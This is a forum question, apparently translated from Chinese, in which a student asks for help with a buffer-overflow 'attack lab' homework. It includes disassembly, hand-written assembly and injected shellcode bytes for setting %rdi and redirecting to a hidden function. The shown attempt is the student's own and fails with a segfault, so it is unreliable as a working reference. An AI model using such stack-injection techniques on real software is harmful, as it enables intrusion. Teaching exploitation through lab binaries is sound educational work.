我有一个缓冲区溢出实验室用于cs(也称为攻击实验室)的家庭作业。在这个阶段,我必须溢出一个char数组,插入我自己的代码以改变一个寄存器,并重定向到一个“隐藏的函数”。
这是每次执行的主要代码:
000000000040187a <getbuf>:
40187a: 48 83 ec 38 sub $0x38,%rsp
40187e: 48 89 e7 mov %rsp,%rdi
401881: e8 8a 02 00 00 callq 401b10 <Gets>
401886: b8 01 00 00 00 mov $0x1,%eax
40188b: 48 83 c4 38 add $0x38,%rsp
40188f: c3 retq
只需获取用户输入并将其存储在堆栈中。我已经能够将一个地址传递给一个单独的函数(这是第一部分),但是使用56个字符来填充数组,然后用一个函数的地址覆盖retq。
然而,第二部分变得棘手。我不仅需要以函数的地址结束,还需要更改寄存器(在本例中为%rdi)。
我最成功(但仍然不成功)的尝试是按如下方式编写汇编代码:
pushq 0x2486651c
popq %rdi
pushq $0x004018bc
popq %rsp
retq
其中0x2486651c是我想要存储在%rdi中的值,而0x004018bc是我想要转到(并执行)的地址。我使用gcc将其转换为.o文件,然后对其进行objdump,并使用生成的字节命令作为我的56 char输入的开头。然后我的输入变为:
68 1c 65 86 24 5f 68 bc 18 40 00 5c c3 ... 38 12 63 55
其中38 12 63 55是字符数组开头的小印度式地址,而pre -...是上述汇编代码的字节指令。
现在,当运行它时,它将进入上面的汇编代码(使用gdb和disas来查看它)。但是,在尝试执行retq时会导致seg错误。
所以我的任务归结为:
1.将56个字符+地址输入传递给函数
2.将结尾(+地址)引导到我自己的代码
3.让我自己的代码更改%rdi中的值
4.然后让我自己的代码通向已经编写的其他函数的指定地址。
提前感谢您,如果有任何问题让我感到困惑,请告诉我。我会尽力详细说明。